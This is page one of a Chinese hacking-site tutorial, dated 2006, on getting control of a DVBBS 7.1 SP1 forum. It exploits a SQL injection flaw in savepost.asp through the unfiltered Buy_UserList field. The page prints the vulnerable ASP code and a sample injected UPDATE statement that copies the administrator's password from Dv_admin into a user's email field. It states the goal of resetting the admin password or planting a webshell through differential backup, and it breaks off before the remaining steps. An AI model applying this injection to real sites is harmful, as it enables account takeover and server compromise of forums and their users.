黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[组图]通过dvbbs 7.1拿权限过程
      ★★★★

通过dvbbs 7.1拿权限过程

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-5-18 9:28:00

一,发现漏洞


动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
本文作者:怪狗
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS 7.1.0 SP1

漏洞分析:
因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

看到下面:
------------------------------
          Dim Buy_Orders,Buy_VIPType,Buy_UserList
          Buy_Orders = Request.FORM("Buy_Orders")
          Buy_VIPType = Request.FORM("Buy_VIPType")
          Buy_UserList = Request.FORM("Buy_UserList") 取得变量的值
          If Buy_Orders<>"" and IsNumeric(Buy_Orders) Then
            Buy_Orders = cCur(Buy_Orders)
          Else
            Buy_Orders = -1
          End If
          If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
          If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
          ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
          GetMoneyType = 3
          'UseTools = ToolsInfo(4)
        End Select
------------------------------------

再朝下看:
Public Sub Insert_To_Announce()
'插入回复表
DIM UbblistBody
UbblistBody = Content
UbblistBody = Ubblist(Content)
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Dvbbs.Execute(sql)

解释一下注入:
注入语句形式
select(XXXX select(XXX select(*) XXXX)   XXXXX)
可以嵌套查询,
比如:
update Dv_User set UserEmail=77169@sohu.com where [UserName]='77169.com';--
更新   表     设置 字段=77169@sohu.com   条件 用户名=77169.com
功能:将用户名为77169.com 的email 地址改成 77169@sohu.com
如果 77169@sohu.com是一个变量的话,如果这个变量没有过滤好,我们自己构造语句
77169@sohu.com=(select [Password] from Dv_admin where[Username]='yellowcat')
就成注入语句
update Dv_User set UserEmail=(select [Password] from Dv_admin where[Username]='yellowcat') where[UserName]='77169.com';--

我看一下,上面的语句:Buy_UserList = Request.FORM("Buy_UserList") 直接从form 表单中获取值,这个没什么问题,主要是下面也没有进行过滤,就直接用于 insert into 语句。
可以看到Buy_UserList这个变量过滤有问题,
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
这个变量又导致ToolsBuyUser这个变量有问题。
如果正常情况应当是这样的 &dvbbs.checkstr(ToolsBuyUser)&" 过滤就没有漏洞了。
看到这里相信大家都能明白了,
怎么利用呢?如果发新贴子选择 论坛交易帖设置。查看源代码,我们会发现 Buy_UserList 这个变量的值是我们可以自定义的。
-------------------------------------





金币数量:

-------------------------------------
大家看到了吗?Buy_UserList 这个值是由我们给定的,
下面我们要用dvbbs 7.1 sql sp1 版本来进行测试:我们可以updata改管理员密码,或者差异备份得shell。
-------------------------------------

[1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886